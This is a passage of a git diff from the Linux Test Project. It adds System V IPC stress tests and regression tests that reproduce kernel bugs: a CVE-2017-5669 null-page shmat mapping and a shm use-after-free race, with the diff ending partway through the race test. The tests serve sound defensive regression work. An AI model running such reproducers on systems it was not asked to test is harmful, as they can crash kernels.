+	for (i = 0; i < nkids; i++) {
+		if (rkidarray[i] > 0)
+			kill(rkidarray[i], SIGTERM);
+		if (wkidarray[i] > 0)
+			kill(wkidarray[i], SIGTERM);
+	}
+}
+
+void setup(void)
+{
+	int nr_msgqs;
+
+	tst_tmpdir();
+
+	tst_sig(FORK, DEF_HANDLER, cleanup);
+
+	TEST_PAUSE;
+
+	nr_msgqs = get_max_msgqueues();
+	if (nr_msgqs < 0)
+		cleanup();
+
+	nr_msgqs -= get_used_msgqueues();
+	if (nr_msgqs <= 0) {
+		tst_resm(TBROK,
+			 "Max number of message queues already used, cannot create more.");
+		cleanup();
+	}
+
+	/*
+	 * Since msgmni scales to the memory size, it may reach huge values
+	 * that are not necessary for this test.
+	 * That's why we define NR_MSGQUEUES as a high boundary for it.
+	 */
+	MSGMNI = min(nr_msgqs, NR_MSGQUEUES);
+}
+
+void cleanup(void)
+{
+	int status;
+
+#ifdef DEBUG
+	tst_resm(TINFO, "Removing the message queue");
+#endif
+	fflush(stdout);
+	(void)msgctl(tid, IPC_RMID, NULL);
+	if ((status = msgctl(tid, IPC_STAT, NULL)) != -1) {
+		(void)msgctl(tid, IPC_RMID, NULL);
+		tst_resm(TFAIL, "msgctl(tid, IPC_RMID) failed");
+
+	}
+
+	fflush(stdout);
+	tst_rmdir();
+}
diff --git a/testcases/kernel/syscalls/ipc/msgstress/msgstress03.c b/testcases/kernel/syscalls/ipc/msgstress/msgstress03.c
new file mode 100644
index 0000000..de4b459
--- /dev/null
+++ b/testcases/kernel/syscalls/ipc/msgstress/msgstress03.c
@@ -0,0 +1,290 @@
+/*
+ * Copyright (c) International Business Machines  Corp., 2002
+ *
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program;  if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ *
+ * 06/30/2001   Port to Linux   nsharoff@us.ibm.com
+ * 11/06/2002   Port to LTP     dbarrera@us.ibm.com
+ */
+
+/*
+ * Get and manipulate a message queue.
+ * Same as msgstress01 but gets the actual msgmni value under procfs.
+ */
+
+#define _XOPEN_SOURCE 500
+#include <signal.h>
+#include <errno.h>
+#include <string.h>
+#include <fcntl.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <values.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/stat.h>
+#include <sys/ipc.h>
+#include <sys/msg.h>
+#include "test.h"
+#include "ipcmsg.h"
+#include "../lib/libmsgctl.h"
+
+char *TCID = "msgstress03";
+int TST_TOTAL = 1;
+
+#define MAXNPROCS	10000	/*These should be sufficient */
+#define MAXNREPS	10000	/*Else they srewup the system un-necessarily */
+
+static key_t keyarray[MAXNPROCS];
+static int pidarray[MAXNPROCS];
+static int tid;
+static int MSGMNI, nprocs, nreps;
+static int procstat;
+static int mykid;
+
+void setup(void);
+void cleanup(void);
+
+static int dotest(key_t key, int child_process);
+static void sig_handler(int signo);
+
+static char *opt_nprocs;
+static char *opt_nreps;
+
+static option_t options[] = {
+	{"n:", NULL, &opt_nprocs},
+	{"l:", NULL, &opt_nreps},
+	{NULL, NULL, NULL},
+};
+
+static void usage(void)
+{
+	printf("  -n      Number of processes\n");
+	printf("  -l      Number of iterations\n");
+}
+
+int main(int argc, char **argv)
+{
+	int i, j, ok, pid;
+	int count, status;
+	struct sigaction act;
+
+	tst_parse_opts(argc, argv, options, usage);
+
+	setup();
+
+	nreps = MAXNREPS;
+	nprocs = MSGMNI;
+
+	if (opt_nreps) {
+		nreps = atoi(opt_nreps);
+		if (nreps > MAXNREPS) {
+			tst_resm(TINFO,
+				 "Requested number of iterations too large, "
+				 "setting to Max. of %d", MAXNREPS);
+			nreps = MAXNREPS;
+		}
+	}
+
+	if (opt_nprocs) {
+		nprocs = atoi(opt_nprocs);
+		if (nprocs > MSGMNI) {
+			tst_resm(TINFO,
+				 "Requested number of processes too large, "
+				 "setting to Max. of %d", MSGMNI);
+			nprocs = MSGMNI;
+		}
+	}
+
+	srand(getpid());
+	tid = -1;
+
+	/* Setup signal handling routine */
+	memset(&act, 0, sizeof(act));
+	act.sa_handler = sig_handler;
+	sigemptyset(&act.sa_mask);
+	sigaddset(&act.sa_mask, SIGTERM);
+	if (sigaction(SIGTERM, &act, NULL) < 0) {
+		tst_brkm(TFAIL, NULL, "Sigset SIGTERM failed");
+	}
+	/* Set up array of unique keys for use in allocating message
+	 * queues
+	 */
+	for (i = 0; i < nprocs; i++) {
+		ok = 1;
+		do {
+			/* Get random key */
+			keyarray[i] = (key_t) rand();
+			/* Make sure key is unique and not private */
+			if (keyarray[i] == IPC_PRIVATE) {
+				ok = 0;
+				continue;
+			}
+			for (j = 0; j < i; j++) {
+				if (keyarray[j] == keyarray[i]) {
+					ok = 0;
+					break;
+				}
+				ok = 1;
+			}
+		} while (ok == 0);
+	}
+
+	/* Fork a number of processes, each of which will
+	 * create a message queue with one reader/writer
+	 * pair which will read and write a number (iterations)
+	 * of random length messages with specific values.
+	 */
+
+	for (i = 0; i < nprocs; i++) {
+		fflush(stdout);
+		if ((pid = FORK_OR_VFORK()) < 0) {
+			tst_brkm(TFAIL,
+				 NULL,
+				 "\tFork failed (may be OK if under stress)");
+		}
+		/* Child does this */
+		if (pid == 0) {
+			procstat = 1;
+			exit(dotest(keyarray[i], i));
+		}
+		pidarray[i] = pid;
+	}
+
+	count = 0;
+	while (1) {
+		if ((wait(&status)) > 0) {
+			if (status >> 8 != 0) {
+				tst_brkm(TFAIL, NULL,
+					 "Child exit status = %d",
+					 status >> 8);
+			}
+			count++;
+		} else {
+			if (errno != EINTR) {
+				break;
+			}
+#ifdef DEBUG
+			tst_resm(TINFO, "Signal detected during wait");
+#endif
+		}
+	}
+	/* Make sure proper number of children exited */
+	if (count != nprocs) {
+		tst_brkm(TFAIL,
+			 NULL,
+			 "Wrong number of children exited, Saw %d, Expected %d",
+			 count, nprocs);
+	}
+
+	tst_resm(TPASS, "Test ran successfully!");
+
+	cleanup();
+	tst_exit();
+}
+
+static int dotest(key_t key, int child_process)
+{
+	int id, pid;
+	int ret, status;
+
+	sighold(SIGTERM);
+	TEST(msgget(key, IPC_CREAT | S_IRUSR | S_IWUSR));
+	if (TEST_RETURN < 0) {
+		printf("msgget() error in child %d: %s\n",
+			child_process, strerror(TEST_ERRNO));
+		return FAIL;
+	}
+	tid = id = TEST_RETURN;
+	sigrelse(SIGTERM);
+
+	fflush(stdout);
+	if ((pid = FORK_OR_VFORK()) < 0) {
+		printf("Fork failed (may be OK if under stress)\n");
+		TEST(msgctl(tid, IPC_RMID, 0));
+		if (TEST_RETURN < 0) {
+			printf("msgctl() error in cleanup: %s\n",
+				strerror(TEST_ERRNO));
+		}
+		return FAIL;
+	}
+	if (pid == 0)
+		exit(doreader(key, id, 1, child_process, nreps));
+
+	mykid = pid;
+	procstat = 2;
+	ret = dowriter(key, id, 1, child_process, nreps);
+	wait(&status);
+
+	if (ret != PASS)
+		exit(FAIL);
+
+	if ((!WIFEXITED(status) || (WEXITSTATUS(status) != PASS)))
+		exit(FAIL);
+
+	TEST(msgctl(id, IPC_RMID, 0));
+	if (TEST_RETURN < 0) {
+		printf("msgctl() failed: %s\n",
+			strerror(TEST_ERRNO));
+		return FAIL;
+	}
+	return PASS;
+}
+
+static void sig_handler(int signo LTP_ATTRIBUTE_UNUSED)
+{
+}
+
+void setup(void)
+{
+	int nr_msgqs;
+
+	tst_tmpdir();
+
+	tst_sig(FORK, DEF_HANDLER, cleanup);
+
+	TEST_PAUSE;
+
+	nr_msgqs = get_max_msgqueues();
+	if (nr_msgqs < 0)
+		cleanup();
+
+	MSGMNI = nr_msgqs - get_used_msgqueues();
+	if (MSGMNI > MAXNPROCS)
+		MSGMNI = MAXNPROCS;
+	if (MSGMNI <= 0) {
+		tst_resm(TBROK,
+			 "Max number of message queues already used, cannot create more.");
+		cleanup();
+	}
+}
+
+void cleanup(void)
+{
+	int status;
+
+#ifdef DEBUG
+	tst_resm(TINFO, "Removing the message queue");
+#endif
+	(void)msgctl(tid, IPC_RMID, NULL);
+	if ((status = msgctl(tid, IPC_STAT, NULL)) != -1) {
+		(void)msgctl(tid, IPC_RMID, NULL);
+		tst_resm(TFAIL, "msgctl(tid, IPC_RMID) failed");
+
+	}
+
+	tst_rmdir();
+}
diff --git a/testcases/kernel/syscalls/ipc/msgstress/msgstress04.c b/testcases/kernel/syscalls/ipc/msgstress/msgstress04.c
new file mode 100644
index 0000000..81383d6
--- /dev/null
+++ b/testcases/kernel/syscalls/ipc/msgstress/msgstress04.c
@@ -0,0 +1,450 @@
+/*
+ * Copyright (c) International Business Machines  Corp., 2002
+ *
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program;  if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ *
+ * 06/30/2001   Port to Linux   nsharoff@us.ibm.com
+ * 11/11/2002   Port to LTP     dbarrera@us.ibm.com
+ */
+
+/*
+ * Get and manipulate a message queue.
+ * Same as msgstress02 but gets the actual msgmni value under procfs.
+ */
+
+#define _XOPEN_SOURCE 500
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/ipc.h>
+#include <sys/msg.h>
+#include <sys/wait.h>
+#include <signal.h>
+#include <errno.h>
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include "test.h"
+#include "ipcmsg.h"
+#include "../lib/libmsgctl.h"
+
+char *TCID = "msgstress04";
+int TST_TOTAL = 1;
+
+#define MAXNREPS	1000
+#ifndef CONFIG_COLDFIRE
+#define MAXNPROCS	 1000000	/* This value is set to an arbitrary high limit. */
+#else
+#define MAXNPROCS	 100000	/* Coldfire can't deal with 1000000 */
+#endif
+#define MAXNKIDS	10
+#define DEFNKIDS	2
+
+static int maxnkids = MAXNKIDS;	/* Used if pid_max is exceeded */
+static key_t keyarray[MAXNPROCS];
+static int pidarray[MAXNPROCS];
+static int rkidarray[MAXNKIDS];
+static int wkidarray[MAXNKIDS];
+static int tid;
+static int nprocs, nreps, nkids, MSGMNI;
+static int maxnprocs;
+static int procstat;
+
+void setup(void);
+void cleanup(void);
+
+static void term(int);
+static int dotest(key_t, int);
+static void dotest_iteration(int off);
+static void cleanup_msgqueue(int i, int tid);
+
+static char *opt_maxnprocs;
+static char *opt_nkids;
+static char *opt_nreps;
+
+static option_t options[] = {
+	{"n:", NULL, &opt_maxnprocs},
+	{"c:", NULL, &opt_nkids},
+	{"l:", NULL, &opt_nreps},
+	{NULL, NULL, NULL},
+};
+
+static void usage(void)
+{
+	printf("  -n      Number of processes\n");
+	printf("  -c      Number of read/write child pairs\n");
+	printf("  -l      Number of iterations\n");
+}
+
+
+int main(int argc, char **argv)
+{
+	int i, j, ok;
+
+	tst_parse_opts(argc, argv, options, usage);
+
+	setup();
+
+	nreps = MAXNREPS;
+	nkids = MAXNKIDS;
+
+	if (opt_nreps) {
+		nreps = atoi(opt_nreps);
+		if (nreps > MAXNREPS) {
+			tst_resm(TINFO,
+				 "Requested number of iterations too large, "
+				 "setting to Max. of %d", MAXNREPS);
+			nreps = MAXNREPS;
+		}
+	}
+
+	if (opt_nkids) {
+		nkids = atoi(opt_nkids);
+		if (nkids > MAXNKIDS) {
+			tst_resm(TINFO,
+				 "Requested number of read/write pairs too "
+				 "large, setting to Max. of %d", MAXNKIDS);
+			nkids = MAXNKIDS;
+		}
+	}
+
+
+	if (opt_maxnprocs) {
+		if (atoi(opt_maxnprocs) > maxnprocs) {
+			tst_resm(TINFO,
+				 "Requested number of processes too large, "
+				 "setting to Max. of %d", MSGMNI);
+		} else {
+			maxnprocs = atoi(opt_maxnprocs);
+		}
+	}
+
+	procstat = 0;
+	srand48((unsigned)getpid() + (unsigned)(getppid() << 16));
+	tid = -1;
+
+	/* Setup signal handling routine */
+	if (sigset(SIGTERM, term) == SIG_ERR)
+		tst_brkm(TFAIL, cleanup, "Sigset SIGTERM failed");
+
+	/* Set up array of unique keys for use in allocating message
+	 * queues
+	 */
+	for (i = 0; i < MSGMNI; i++) {
+		ok = 1;
+		do {
+			/* Get random key */
+			keyarray[i] = (key_t) lrand48();
+			/* Make sure key is unique and not private */
+			if (keyarray[i] == IPC_PRIVATE) {
+				ok = 0;
+				continue;
+			}
+			for (j = 0; j < i; j++) {
+				if (keyarray[j] == keyarray[i]) {
+					ok = 0;
+					break;
+				}
+				ok = 1;
+			}
+		} while (ok == 0);
+	}
+	/* Fork a number of processes, each of which will
+	 * create a message queue with several (nkids) reader/writer
+	 * pairs which will read and write a number (iterations)
+	 * of random length messages with specific values (keys).
+	 *
+	 * We do not fork more than maxnprocs at a time and
+	 * we fork until all the message queues get used.
+	 */
+
+	if (MSGMNI <= maxnprocs) {
+		nprocs = MSGMNI;
+		dotest_iteration(0);
+	} else {
+		for (i = 0; i < (MSGMNI / maxnprocs); i++) {
+			nprocs = maxnprocs;
+			dotest_iteration(i * maxnprocs);
+		}
+
+		nprocs = MSGMNI % maxnprocs;
+		dotest_iteration(i * maxnprocs);
+	}
+
+	tst_resm(TPASS, "Test ran successfully!");
+
+	cleanup();
+	tst_exit();
+}
+
+static void dotest_iteration(int off)
+{
+	key_t key;
+	int i, count, status;
+	pid_t pid;
+
+	memset(pidarray, 0, sizeof(pidarray));
+
+	for (i = 0; i < nprocs; i++) {
+		key = keyarray[off + i];
+
+		if ((pid = FORK_OR_VFORK()) < 0)
+			tst_brkm(TFAIL, cleanup,
+				 "Fork failed (may be OK if under stress)");
+
+		/* Child does this */
+		if (pid == 0) {
+			procstat = 1;
+			exit(dotest(key, i));
+		}
+		pidarray[i] = pid;
+	}
+
+	count = 0;
+	while (1) {
+		if ((wait(&status)) > 0) {
+			if (status >> 8 != PASS)
+				tst_brkm(TFAIL, cleanup,
+					"Child exit status = %d", status >> 8);
+			count++;
+		} else {
+			if (errno != EINTR) {
+				break;
+			}
+#ifdef DEBUG
+			tst_resm(TINFO, "Signal detected during wait");
+#endif
+		}
+	}
+	/* Make sure proper number of children exited */
+	if (count != nprocs)
+		tst_brkm(TFAIL, cleanup,
+			 "Wrong number of children exited, Saw %d, Expected %d",
+			 count, nprocs);
+}
+
+static void cleanup_msgqueue(int i, int tid)
+{
+	/*
+	 * Decrease the value of i by 1 because it
+	 * is getting incremented even if the fork
+	 * is failing.
+	 */
+
+	i--;
+	/*
+	 * Kill all children & free message queue.
+	 */
+	for (; i >= 0; i--) {
+		(void)kill(rkidarray[i], SIGKILL);
+		(void)kill(wkidarray[i], SIGKILL);
+	}
+
+	if (msgctl(tid, IPC_RMID, 0) < 0) {
+		printf("Msgctl error in cleanup_msgqueue %d\n", errno);
+		exit(FAIL);
+	}
+}
+
+static int dotest(key_t key, int child_process)
+{
+	int id, pid;
+	int i, count, status, exit_status;
+
+	sighold(SIGTERM);
+	if ((id = msgget(key, IPC_CREAT | S_IRUSR | S_IWUSR)) < 0) {
+		printf("msgget() error in child %d: %s\n",
+			child_process, strerror(errno));
+		return FAIL;
+	}
+	tid = id;
+	sigrelse(SIGTERM);
+
+	exit_status = PASS;
+
+	for (i = 0; i < nkids; i++) {
+		if ((pid = FORK_OR_VFORK()) < 0) {
+			printf("Fork failure in the first child of child group %d\n",
+				child_process);
+			cleanup_msgqueue(i, tid);
+			return FAIL;
+		}
+		/* First child does this */
+		if (pid == 0) {
+			procstat = 2;
+			exit(doreader(key, tid, getpid(),
+					child_process, nreps));
+		}
+		rkidarray[i] = pid;
+		if ((pid = FORK_OR_VFORK()) < 0) {
+			printf("Fork failure in the second child of child group %d\n",
+				child_process);
+			/*
+			 * Kill the reader child process
+			 */
+			(void)kill(rkidarray[i], SIGKILL);
+
+			cleanup_msgqueue(i, tid);
+			return FAIL;
+		}
+		/* Second child does this */
+		if (pid == 0) {
+			procstat = 2;
+			exit(dowriter(key, tid, rkidarray[i],
+					child_process, nreps));
+		}
+		wkidarray[i] = pid;
+	}
+	/* Parent does this */
+	count = 0;
+	while (1) {
+		if ((wait(&status)) > 0) {
+			if (status >> 8 != PASS) {
+				printf("Child exit status = %d from child group %d\n",
+					status >> 8, child_process);
+				for (i = 0; i < nkids; i++) {
+					kill(rkidarray[i], SIGTERM);
+					kill(wkidarray[i], SIGTERM);
+				}
+				if (msgctl(tid, IPC_RMID, 0) < 0) {
+					printf("msgctl() error: %s\n",
+						strerror(errno));
+				}
+				return FAIL;
+			}
+			count++;
+		} else {
+			if (errno != EINTR) {
+				break;
+			}
+		}
+	}
+	/* Make sure proper number of children exited */
+	if (count != (nkids * 2)) {
+		printf("Wrong number of children exited in child group %d, saw %d, expected %d\n",
+			child_process, count, (nkids * 2));
+		if (msgctl(tid, IPC_RMID, 0) < 0) {
+			printf("msgctl() error: %s\n", strerror(errno));
+		}
+		return FAIL;
+	}
+	if (msgctl(id, IPC_RMID, 0) < 0) {
+		printf("msgctl() failure in child group %d: %s\n",
+			child_process, strerror(errno));
+		return FAIL;
+	}
+	return exit_status;
+}
+
+/* ARGSUSED */
+static void term(int sig LTP_ATTRIBUTE_UNUSED)
+{
+	int i;
+
+	if (procstat == 0) {
+#ifdef DEBUG
+		tst_resm(TINFO, "SIGTERM signal received, test killing kids");
+#endif
+		for (i = 0; i < nprocs; i++) {
+			if (pidarray[i] > 0) {
+				if (kill(pidarray[i], SIGTERM) < 0) {
+					tst_resm(TBROK,
+						 "Kill failed to kill child %d",
+						 i);
+					exit(FAIL);
+				}
+			}
+		}
+		return;
+	}
+
+	if (procstat == 2) {
+		exit(PASS);
+	}
+
+	if (tid == -1) {
+		exit(FAIL);
+	}
+	for (i = 0; i < nkids; i++) {
+		if (rkidarray[i] > 0)
+			kill(rkidarray[i], SIGTERM);
+		if (wkidarray[i] > 0)
+			kill(wkidarray[i], SIGTERM);
+	}
+}
+
+void setup(void)
+{
+	int nr_msgqs, free_pids;
+
+	tst_tmpdir();
+	/* You will want to enable some signal handling so you can capture
+	 * unexpected signals like SIGSEGV.
+	 */
+	tst_sig(FORK, DEF_HANDLER, cleanup);
+
+	/* One cavet that hasn't been fixed yet.  TEST_PAUSE contains the code to
+	 * fork the test with the -c option.  You want to make sure you do this
+	 * before you create your temporary directory.
+	 */
+	TEST_PAUSE;
+
+	nr_msgqs = get_max_msgqueues();
+	if (nr_msgqs < 0)
+		tst_brkm(TBROK, cleanup, "get_max_msgqueues() failed");
+
+	MSGMNI = nr_msgqs - get_used_msgqueues();
+	if (MSGMNI <= 0)
+		tst_brkm(TBROK, cleanup,
+			 "Max number of message queues already used, cannot create more.");
+
+	tst_resm(TINFO, "Found %d available message queues", MSGMNI);
+
+	free_pids = tst_get_free_pids(cleanup);
+	if (free_pids < 0) {
+		tst_brkm(TBROK, cleanup, "Can't obtain free_pid count");
+	} else if (!free_pids) {
+		tst_brkm(TBROK, cleanup, "No free pids");
+	}
+
+	/* We don't use more than a half of available pids.
+	 * For each child we fork up to 2*maxnkids grandchildren. */
+	maxnprocs = (free_pids / 2) / (1 + 2 * maxnkids);
+
+	if (!maxnprocs)
+		tst_brkm(TBROK, cleanup, "Not enough free pids");
+
+	tst_resm(TINFO, "Using upto %d pids", free_pids / 2);
+}
+
+void cleanup(void)
+{
+	int status;
+
+	/*
+	 * Remove the message queue from the system
+	 */
+#ifdef DEBUG
+	tst_resm(TINFO, "Removing the message queue");
+#endif
+	(void)msgctl(tid, IPC_RMID, NULL);
+	if ((status = msgctl(tid, IPC_STAT, NULL)) != -1) {
+		(void)msgctl(tid, IPC_RMID, NULL);
+		tst_resm(TFAIL, "msgctl(tid, IPC_RMID) failed");
+
+	}
+
+	tst_rmdir();
+}
diff --git a/testcases/kernel/syscalls/ipc/semctl/.gitignore b/testcases/kernel/syscalls/ipc/semctl/.gitignore
new file mode 100644
index 0000000..b6899ac
--- /dev/null
+++ b/testcases/kernel/syscalls/ipc/semctl/.gitignore
@@ -0,0 +1,7 @@
+/semctl01
+/semctl02
+/semctl03
+/semctl04
+/semctl05
+/semctl06
+/semctl07
diff --git a/testcases/kernel/syscalls/ipc/semget/.gitignore b/testcases/kernel/syscalls/ipc/semget/.gitignore
new file mode 100644
index 0000000..ce26c93
--- /dev/null
+++ b/testcases/kernel/syscalls/ipc/semget/.gitignore
@@ -0,0 +1,5 @@
+/semget01
+/semget02
+/semget03
+/semget05
+/semget06
diff --git a/testcases/kernel/syscalls/ipc/semop/.gitignore b/testcases/kernel/syscalls/ipc/semop/.gitignore
new file mode 100644
index 0000000..cc67b18
--- /dev/null
+++ b/testcases/kernel/syscalls/ipc/semop/.gitignore
@@ -0,0 +1,5 @@
+/semop01
+/semop02
+/semop03
+/semop04
+/semop05
diff --git a/testcases/kernel/syscalls/ipc/shmat/.gitignore b/testcases/kernel/syscalls/ipc/shmat/.gitignore
new file mode 100644
index 0000000..2b972f8
--- /dev/null
+++ b/testcases/kernel/syscalls/ipc/shmat/.gitignore
@@ -0,0 +1,3 @@
+/shmat01
+/shmat02
+/shmat03
diff --git a/testcases/kernel/syscalls/ipc/shmat/shmat03.c b/testcases/kernel/syscalls/ipc/shmat/shmat03.c
new file mode 100644
index 0000000..0834626
--- /dev/null
+++ b/testcases/kernel/syscalls/ipc/shmat/shmat03.c
@@ -0,0 +1,113 @@
+/*
+ * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
+ * Copyright (c) 2017 Fujitsu Ltd. (Xiao Yang <yangx.jy@cn.fujitsu.com>)
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/*
+ * Test for CVE-2017-5669 which allows us to map the nil page using shmat.
+ *
+ * When the bug is present shmat(..., (void *)1, SHM_RND) will round address
+ * 0x1 down to zero and give us the (nil/null) page. With the current bug fix
+ * in place, shmat it will return EINVAL instead. We also check to see if the
+ * returned address is outside the nil page in case an alternative fix has
+ * been applied.
+ *
+ * In any case we manage to map some memory we also try to write to it. This
+ * is just to see if we get an access error or some other unexpected behaviour.
+ *
+ * See commit 95e91b831f (ipc/shm: Fix shmat mmap nil-page protection)
+ *
+ * The commit above disallowed SHM_RND maps to zero (and rounded) entirely and
+ * that broke userland for cases like Xorg. New behavior disallows REMAPs to
+ * lower addresses (0<=PAGESIZE).
+ *
+ * See commit a73ab244f0da (Revert "ipc/shm: Fix shmat mmap nil-page protect...)
+ * See commit 8f89c007b6de (ipc/shm: fix shmat() nil address after round-dow...)
+ * See https://github.com/linux-test-project/ltp/issues/319
+ *
+ * This test needs root permissions or else security_mmap_addr(), from
+ * get_unmapped_area(), will cause permission errors when trying to mmap lower
+ * addresses.
+ */
+
+#include <sys/types.h>
+#include <sys/ipc.h>
+#include <sys/shm.h>
+
+#include <stdio.h>
+#include <errno.h>
+#include <string.h>
+
+#include "tst_test.h"
+#include "tst_safe_sysv_ipc.h"
+
+static int shm_id;
+static void *shm_addr;
+
+static void setup(void)
+{
+	shm_id = SAFE_SHMGET(IPC_PRIVATE, getpagesize(), 0777);
+}
+
+static void cleanup(void)
+{
+	if (shm_addr)
+		SAFE_SHMDT(shm_addr);
+
+	if (shm_id)
+		SAFE_SHMCTL(shm_id, IPC_RMID, 0);
+}
+
+static void run(void)
+{
+	tst_res(TINFO, "Attempting to attach shared memory to null page");
+	/*
+	 * shmat() for 0 (or < PAGESIZE with RND flag) has to fail with REMAPs
+	 * https://github.com/linux-test-project/ltp/issues/319
+	 */
+	shm_addr = shmat(shm_id, ((void *)1), SHM_RND | SHM_REMAP);
+	if (shm_addr == (void *)-1) {
+		shm_addr = NULL;
+		if (errno == EINVAL) {
+			tst_res(TPASS, "shmat returned EINVAL");
+			return;
+		}
+		tst_brk(TBROK | TERRNO,
+			"The bug was not triggered, but the shmat error is unexpected");
+	}
+
+	tst_res(TINFO, "Mapped shared memory to %p", shm_addr);
+
+	if (!((size_t)shm_addr & (~0U << 16)))
+		tst_res(TFAIL,
+			"We have mapped a VM address within the first 64Kb");
+	else
+		tst_res(TPASS,
+			"The kernel assigned a different VM address");
+
+	tst_res(TINFO,
+		"Touching shared memory to see if anything strange happens");
+	((char *)shm_addr)[0] = 'P';
+
+	SAFE_SHMDT(shm_addr);
+	shm_addr = NULL;
+}
+
+static struct tst_test test = {
+	.needs_root = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = run,
+};
diff --git a/testcases/kernel/syscalls/ipc/shmctl/.gitignore b/testcases/kernel/syscalls/ipc/shmctl/.gitignore
new file mode 100644
index 0000000..d6777e3
--- /dev/null
+++ b/testcases/kernel/syscalls/ipc/shmctl/.gitignore
@@ -0,0 +1,5 @@
+/shmctl01
+/shmctl02
+/shmctl03
+/shmctl04
+/shmctl05
diff --git a/testcases/kernel/syscalls/ipc/shmctl/Makefile b/testcases/kernel/syscalls/ipc/shmctl/Makefile
index f467389..16da31b 100644
--- a/testcases/kernel/syscalls/ipc/shmctl/Makefile
+++ b/testcases/kernel/syscalls/ipc/shmctl/Makefile
@@ -18,6 +18,9 @@
 
 top_srcdir              ?= ../../../../..
 
+shmctl05: CFLAGS += -pthread
+shmctl05: LDLIBS += -lrt
+
 include $(top_srcdir)/include/mk/testcases.mk
 include $(abs_srcdir)/../Makefile.inc
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/ipc/shmctl/shmctl01.c b/testcases/kernel/syscalls/ipc/shmctl/shmctl01.c
index ddf6b86..1b46977 100644
--- a/testcases/kernel/syscalls/ipc/shmctl/shmctl01.c
+++ b/testcases/kernel/syscalls/ipc/shmctl/shmctl01.c
@@ -228,7 +228,7 @@
 		 */
 		set_shared = set_shmat();
 
-	tst_flush();
+	tst_old_flush();
 	for (stat_i = 0; stat_i < N_ATTACH; stat_i++) {
 		pid = FORK_OR_VFORK();
 		if (pid == -1)
diff --git a/testcases/kernel/syscalls/ipc/shmctl/shmctl05.c b/testcases/kernel/syscalls/ipc/shmctl/shmctl05.c
new file mode 100644
index 0000000..ecae202
--- /dev/null
+++ b/testcases/kernel/syscalls/ipc/shmctl/shmctl05.c
@@ -0,0 +1,111 @@
+/*
+ * Copyright (c) 2018 Google, Inc.
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program, if not, see <http://www.gnu.org/licenses/>.
+ */
+
+/*
+ * Regression test for commit 3f05317d9889 ("ipc/shm: fix use-after-free of shm
+ * file via remap_file_pages()").  This bug allowed the remap_file_pages()
+ * syscall to use the file of a System V shared memory segment after its ID had
+ * been reallocated and the file freed.  This test reproduces the bug as a NULL
+ * pointer dereference in touch_atime(), although it's a race condition so it's
+ * not guaranteed to work.  This test is based on the reproducer provided in the
+ * fix's commit message.
+ */
+
+#include "lapi/syscalls.h"
+#include "tst_test.h"
+#include "tst_fuzzy_sync.h"
+#include "tst_safe_pthread.h"
+#include "tst_safe_sysv_ipc.h"
+#include "tst_timer.h"
+
+static struct tst_fzsync_pair fzsync_pair;
+
+/*
+ * Thread 2: repeatedly remove the shm ID and reallocate it again for a
+ * new shm segment.
+ */
+static void *thrproc(void *unused)
+{
+	int id = SAFE_SHMGET(0xF00F, 4096, IPC_CREAT|0700);
+
+	while (tst_fzsync_run_b(&fzsync_pair)) {
+		tst_fzsync_start_race_b(&fzsync_pair);
+		SAFE_SHMCTL(id, IPC_RMID, NULL);
+		id = SAFE_SHMGET(0xF00F, 4096, IPC_CREAT|0700);
+		tst_fzsync_end_race_b(&fzsync_pair);
+	}
+	return unused;
+}
+
+static void setup(void)
+{
+	/* Skip test if either remap_file_pages() or SysV IPC is unavailable */
+	tst_syscall(__NR_remap_file_pages, NULL, 0, 0, 0, 0);
+	tst_syscall(__NR_shmctl, 0xF00F, IPC_RMID, NULL);
+
+	tst_fzsync_pair_init(&fzsync_pair);
+}
+
+static void do_test(void)
+{
+	/*
+	 * Thread 1: repeatedly attach a shm segment, then remap it until the ID
+	 * seems to have been removed by the other process.
+	 */
+	tst_fzsync_pair_reset(&fzsync_pair, thrproc);
+	while (tst_fzsync_run_a(&fzsync_pair)) {
+		int id;
+		void *addr;
+
+		id = SAFE_SHMGET(0xF00F, 4096, IPC_CREAT|0700);
+		addr = SAFE_SHMAT(id, NULL, 0);
+		tst_fzsync_start_race_a(&fzsync_pair);
